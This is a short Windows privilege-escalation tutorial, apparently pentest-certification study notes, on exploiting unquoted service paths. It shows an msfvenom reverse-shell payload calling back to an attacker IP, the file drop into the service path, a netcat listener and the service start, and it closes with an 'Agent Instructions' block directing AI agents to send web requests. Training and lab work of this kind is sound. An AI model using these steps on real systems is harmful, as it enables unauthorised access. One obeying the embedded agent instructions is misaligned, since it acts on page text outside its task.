# Unquoted Service Paths

## Overview

Unquotes service paths is similar to[ binary path exploitation](/windows-privilege-escalation/service-permissions/binary-paths.md), however the vulnerability lays in the fact that the path to the executable is **unquoted.**&#x20;

When the service is started Windows looks through every word in the path separated with a space and tes**t .exe**

* C:\Program.exe - NO
* C:\Program Files.exe  - NO
* C:\Program Files\Unquoted.exe - NO
* C:\Program Files\Unquoted Path.exe - NO

And so on...

## Exploitation via PowerUp

#### Run PowerUp and search for Unquoted Service Paths section

<figure><img src="/files/ivCVAhU2peQyfOjhMtNc" alt=""><figcaption><p>TCM Windows Priv Esc Try Hack Me</p></figcaption></figure>

#### Create and drop a malicious executable

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.8 LPORT=1337 -f exe -o Common.exe
```

```
cp C:\temp\Common.exe C:\Program Files\Unquoted Path Service\Common.exe
```

#### Start a listener and the service

```bash
nc -lnvp 1337
```

```
sc start unquotedsvc
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pnpt.adot8.com/windows-privilege-escalation/service-permissions/unquoted-service-paths.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
